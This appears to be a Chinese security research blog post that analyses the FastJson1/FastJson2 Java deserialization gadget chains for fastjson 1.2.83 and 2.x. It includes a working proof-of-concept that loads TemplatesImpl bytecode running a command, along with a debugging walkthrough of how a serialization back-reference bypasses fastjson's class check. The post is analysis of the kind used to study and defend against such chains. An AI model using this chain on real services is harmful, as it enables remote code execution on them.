前言
写这篇文章的起因是在二开ysoserial的时候突然发现在Y4er师傅的ysoserial当中有两条关于FastJson的利用链,分别是FastJson1&FastJson2但是这两条利用链都不是像之前分析fastjson利用链一样,之前的利用链分析的是fastjson在解析json格式的数据时,通过构造恶意的json数据来对fastjson进行攻击,期间会涉及到1.2.24-1.2.80等不同版本的绕过以及额外数据包的依赖。而这里的FastJson1&FastJson2是利用FasJson当中某些函数的调用关系,结合java原生反序列化来对目标应用进行攻击的一种方式。
漏洞环境
fastjson1.2.83&fastjson2.x
利用链分析
我先给出我所使用的测试版payload,其大部分内容源自Y4er/ysoserial,我只是从payload当中截取出了一部分内容作为我的测试代码,并加入了一些必须的代码段,如下所示:
代码语言:javascript复制public class FastJson2 {
public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec("calc");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static void setFieldValue(Object obj,String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = getTemplates();
//装载Templates
TemplatesImpl template2 = new TemplatesImpl();
TemplatesImpl template = new TemplatesImpl();
setFieldValue(template, "_bytecodes", new byte[][] {code});
setFieldValue(template, "_name", "Evil");
JSONArray jsonArray = new JSONArray();
jsonArray.add(template);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", jsonArray);
HashMap hashMap = new HashMap();
// hashMap.put(badAttributeValueExpException,template);
hashMap.put(template, badAttributeValueExpException);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
System.out.println(barr.toByteArray()[1522]);
try{
Object o = ois.readObject();
}catch (Exception e){
}
}
}
我们可以直接将断点打到TemplatesImpl对象的newTransformer()上面,因为如果该利用链想要动态加载类的话,就必须要经过这个函数。由此我们可以得到一个完整的利用链,如下所示:
代码语言:javascript复制at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
at com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl.write(Unknown Source)
at com.alibaba.fastjson.serializer.ListSerializer.write(ListSerializer.java:135)
at com.alibaba.fastjson.serializer.JSONSerializer.write(JSONSerializer.java:312)
at com.alibaba.fastjson.JSON.toJSONString(JSON.java:1077)
at com.alibaba.fastjson.JSON.toString(JSON.java:1071)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
at java.util.HashMap.readObject(HashMap.java:1404)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)
BadAttributeValueExpException对象事实上并不陌生,在rome利用链当中就曾出现过它的身影,当时的目的是通过它的readObject方法调用ToStringBean的toString方法,从而引发rome利用链。在这里val字段的值是一个JSONArray对象,所以会调用JSONArray的toString方法。但是由于JSONArray本身并没有toString方法,这里会直接调用JSON的ToString方法(JSONArray extends JSON)
在JSON的ToString会调用自身的toJSONString方法,而toJSONString方法能够调用任意类的getter方法,从而实现了getOutputProperties方法的调用,如下是toJSONString方法
toJsonString是如何实现getter的调用的?
这就要谈到ASM在FastJson当中的应用,Fastjson使用ASM来代替反射,通过ASM的ClassWriter来生成JavaBeanSerializer的子类,重写write方法,JavaBeanSerializer中的write方法会使用反射从JavaBean中获取相关信息,ASM针对不同类会生成独有的序列化工具类,比如ASMSerializer_1_Test ,也会调用getter获取类种相关信息,更详细可以参考[4]-[6]。
比如说,这一部分的函数调用从JSONSerializer.write到ListSerializer.write,然后在ListSerializer.write生成了一个反序列化工具类并赋给了itemSerializer。这一部分我们也可以从下面的变量界面看到,它为TemplatesImpl类创建了一个反序列化工具类(ASMSerializer_1_TemplatesImpl)。最后调用的write方法也是调用这个动态生成的类里面的方法,也就是在这个类里面调用的任意类的getter方法。
我们在调试当中没有办法看到动态生成的代码具体内容,所以这里我选择使用arthas工具来把这个类dump下来。其他方式可以参考[5] 为此我们需要在我们的测试代码当中加入一段自循环,让这个程序进程能够让arthas监控到。
代码语言:javascript复制public static void main(String[] args) throws Exception {
byte[] code = getTemplates();
//装载Templates
TemplatesImpl template2 = new TemplatesImpl();
TemplatesImpl template = new TemplatesImpl();
setFieldValue(template, "_bytecodes", new byte[][] {code});
setFieldValue(template, "_name", "Evil");
JSONArray jsonArray = new JSONArray();
jsonArray.add(template);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", jsonArray);
HashMap hashMap = new HashMap();
// hashMap.put(badAttributeValueExpException,template);
hashMap.put(template, badAttributeValueExpException);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
System.out.println(barr.toByteArray()[1522]);
try{
Object o = ois.readObject();
}catch (Exception e){
}
while(true){}
}
启动arthas之后,然后将arthas attach到目标进程上面
然后使用jad com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl把这个类的内容dump下来,结果如下:这个类的内容很长,这里只保留write函数
代码语言:javascript复制Location:
/D:/Java_Tools/apache-maven-3.8.8/mvn_repo/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar
/*
* Decompiled with CFR.
*/
package com.alibaba.fastjson.serializer;
import com.alibaba.fastjson.serializer.JSONSerializer;
import com.alibaba.fastjson.serializer.JavaBeanSerializer;
import com.alibaba.fastjson.serializer.ObjectSerializer;
import com.alibaba.fastjson.serializer.SerialContext;
import com.alibaba.fastjson.serializer.SerializeBeanInfo;
import com.alibaba.fastjson.serializer.SerializeWriter;
import com.alibaba.fastjson.util.ASMUtils;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.IOException;
import java.lang.reflect.Type;
import java.util.Properties;
public class ASMSerializer_1_TemplatesImpl
extends JavaBeanSerializer
implements ObjectSerializer {
public Type outputProperties_asm_fieldType = ASMUtils.getMethodType(TemplatesImpl.class, "getOutputProperties");
public ObjectSerializer outputProperties_asm_ser_;
public Type stylesheetDOM_asm_fieldType = ASMUtils.getMethodType(TemplatesImpl.class, "getStylesheetDOM");
public ObjectSerializer stylesheetDOM_asm_ser_;
public ASMSerializer_1_TemplatesImpl(SerializeBeanInfo serializeBeanInfo) {
super(serializeBeanInfo);
}
public void write(JSONSerializer jSONSerializer, Object object, Object object2, Type type, int n) throws IOException {
ObjectSerializer objectSerializer;
if (object == null) {
jSONSerializer.writeNull();
return;
}
SerializeWriter serializeWriter = jSONSerializer.out;
if (!this.writeDirect(jSONSerializer)) {
this.writeNormal(jSONSerializer, object, object2, type, n);
return;
}
if (serializeWriter.isEnabled(32768)) {
this.writeDirectNonContext(jSONSerializer, object, object2, type, n);
return;
}
TemplatesImpl templatesImpl = (TemplatesImpl)object;
if (this.writeReference(jSONSerializer, object, n)) {
return;
}
if (serializeWriter.isEnabled(0x200000)) {
this.writeAsArray(jSONSerializer, object, object2, type, n);
return;
}
SerialContext serialContext = jSONSerializer.getContext();
jSONSerializer.setContext(serialContext, object, object2, 0);
int n2 = 123;
String string = "outputProperties";
Object object3 = templatesImpl.getOutputProperties();
if (object3 == null) {
if (serializeWriter.isEnabled(964)) {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
serializeWriter.writeNull(0, 0);
n2 = 44;
}
} else {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
if (object3.getClass() == Properties.class) {
if (this.outputProperties_asm_ser_ == null) {
this.outputProperties_asm_ser_ = jSONSerializer.getObjectWriter(Properties.class);
}
if ((objectSerializer = this.outputProperties_asm_ser_) instanceof JavaBeanSerializer) {
((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
} else {
objectSerializer.write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
}
} else {
jSONSerializer.writeWithFieldName(object3, string, this.outputProperties_asm_fieldType, 0);
}
n2 = 44;
}
string = "stylesheetDOM";
if (!serializeWriter.isEnabled(0x2000000)) {
object3 = templatesImpl.getStylesheetDOM();
if (object3 == null) {
if (serializeWriter.isEnabled(964)) {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
serializeWriter.writeNull(0, 0);
n2 = 44;
}
} else {
serializeWriter.write(n2);
serializeWriter.writeFieldNameDirect(string);
if (object3.getClass() == DOM.class) {
if (this.stylesheetDOM_asm_ser_ == null) {
this.stylesheetDOM_asm_ser_ = jSONSerializer.getObjectWriter(DOM.class);
}
if ((objectSerializer = this.stylesheetDOM_asm_ser_) instanceof JavaBeanSerializer) {
((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
} else {
objectSerializer.write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
}
} else {
jSONSerializer.writeWithFieldName(object3, string, this.stylesheetDOM_asm_fieldType, 0);
}
n2 = 44;
}
}
string = "transletIndex";
int n3 = templatesImpl.getTransletIndex();
serializeWriter.writeFieldValue((char)n2, string, n3);
n2 = 44;
if (n2 == 123) {
serializeWriter.write(123);
}
serializeWriter.write(125);
jSONSerializer.setContext(serialContext);
}
...........
............
...........
}
从上面的write函数当中,我们就能够看到它依次调用了所有的getter方法。
关于payload当中的未解之谜
fastjson1&fastjson2利用链当中,我们可以发现其中有一个行payload构造如下
代码语言:javascript复制hashMap.put(template, badAttributeValueExpException);//payload1,下文涉及该payload的内容,均写为payload1
按照调用关系来讲,我们完全可以写成如下的形式:([something]是指任意对象)
代码语言:javascript复制hashMap.put([somthing], badAttributeValueExpException);//payload2,下文涉及该payload的内容,均写为payload2
但是我们发现不行,程序在运行过程中会抛出InvocationTargetException异常,从而造成程序没有办法按照预期的逻辑走到TemplatesImpl当中的getOutputPorperties(),它的构造形式必须是hashMap.put(template, badAttributeValueExpException)更换位置、改变对象都无法使payload正常生效。
出错的原因
如下是我的调试过程: 这里经过了很多遍调试最终锁定的问题出现位置是badAttributeValueExpException的readobject,这时候前面的template已经处理完了。单步进入第一行的readFields().
然后跟着程序执行逻辑走到getField.readFields()当中,单步进入getField.readFields()
然后走到readobject0(),单步进入该函数
在readObejct0函数当中会进行字段类型的判断,当中字段的类型是Obejct类型的时候就会进入TC_Object分支,这里我们的字段是JsonArray
单步进入readOrdinaryObject函数,往下走会走到readSerialData函数的调用处,单步进入该函数
在该函数当中会对字段的内容进行反序列化操作,会经过一系列的函数调用,其目的是调用该字段类的readobject方法
单步进入invokeReadObject方法
经过如下的一些列函数调用,最终的目的地就是JsonArray的readObejct()方法。invokeReadObject->readObjectMethod.invoke->DelegatingMethodAccessorImpl.invoke->delegate.invoke->invoke0
最终到达目的地调用JsonArray的readObejct方法,该函数方法里面会调用defaultReadObject()方法,单步进入该方法
在defaultReadObject()方法当中其实就是又来一遍之前的内容,从readFields函数调用开始从走一遍,只不过这里调用的方法是defaultReadFields()
这里的嵌套调用是ArrayList类型的字段,这里的逻辑就会通过层层调用方法,想要去反射调用ArrayList的readObject方法
在ArrayListreadObject的最后,会调用一次readObject方法,这一次调用的目标对象是TemplatesImpl,这个我们从payload对象的构造上就能够获知
它的readObject方法同理也是需要经过多次反复调用,最终通过invoke方法进行反射调用,最终的代码段如下所示,该代码段位于TemplatesImpl#readObject内部,其会调用ois的readFields进行字段读取,就像之前梳理其他字段的过程一样
我们直接来到处理最关键字段的过程(我们写入的字节流对象),他首先从我们输入的序列化字节流当中拿到了对应的类型为TC_Array
单步进入readArray当中进行处理
然后单步进入ObjectInputStream#readClassDesc()
然后单步进入readNonProxyDesc(),如下所示,readDesc对象在处理当中被赋值为了序列化的字节数组对象(_bytecodes)
单步进入resolveClass,问题就出现在这里,整个程序的运行逻辑会从这里直接断开抛出异常,这里的[[B类型通过前面的判断之后走到最下面的TypeUtils.getClassFromMapping()的时候已经成为了B,此时调用的resolveClass是JSONObject#resolveClass
很显然在fastjson的checkautotype当中B这种序列化后的类型表示是并不存在的,所以直接返回报了错
问题一:badAttributeValueExpException当中的template无法正常识别,为什么外面的template能正常解析呢?
经过调试后发现,他们所调用的resolveClass()并不是同一个resolveClass(),如果把TemplatesImpl放在前面,就像下面这样
代码语言:javascript复制hashMap.put(template, badAttributeValueExpException);
那么在处理第一个部分的template对象的时候调用的是ObjectInputStream#resolveClass(),如下图所示
这个resolveClass什么都不管直接把输入进来的类型直接放到forName里面去找,然后返回对应的类型,所以他完全可以正常执行,而不影响到后面
问题二:既然badAttributeValueExpException当中的template不能正常解析,按理来说前一个payload1也不能执行,但是为什么可以正常执行?
答案是存在绕过现象,在之前的流程分析当中,我们大致可以理清ois对于readObject的一些处理流程,他会调用readFields()函数来对对象中的字段进行读取。而readFields里面就发生了绕过的现象,他会从我们的序列化字节流里面去拿到对应的标识tc,在之前出现过TC_Object,TC_Array等等不同的类型。
但是如果使用的是第一个payload也就是正确的payload的时候,在处理JSONArray里面的template的时候,它所获得的TC标识并不是TC_Obejct而是TC_Reference
TC_REFERENCE,是一个引用类型。从前面的几个结构可以看出来,序列化后的数据其实相当繁琐,多层嵌套很容易搞乱,在恢复对象的时候也不太容易。于是就有了引用这个东西,他可以引用在此之前已经出现过的对象。
所以正是前面出现过的template,使得后续ois在处理反序列化字节流的时候,直接形成了绕过,引用了前面已经反序列化好的template对象,避免了由于B类型没法正常识别而造成的异常。
总结
首先是被嵌套在JSONArray里面的template对象,由于JSONObject#resolve()无法正常解析B类型的缘故,所以造成payload2无法正常执行,其次是前一个template对象在ObjectInputStream#resolveClass的作用下成功解析,并协助后面的JSONArray里面的template绕过了审查。
参考文章
https://blog.kaibro.tw/2020/02/23/Java反序列化之readObject分析/
https://www.163.com/dy/article/DMAD0T6P05119F6V.html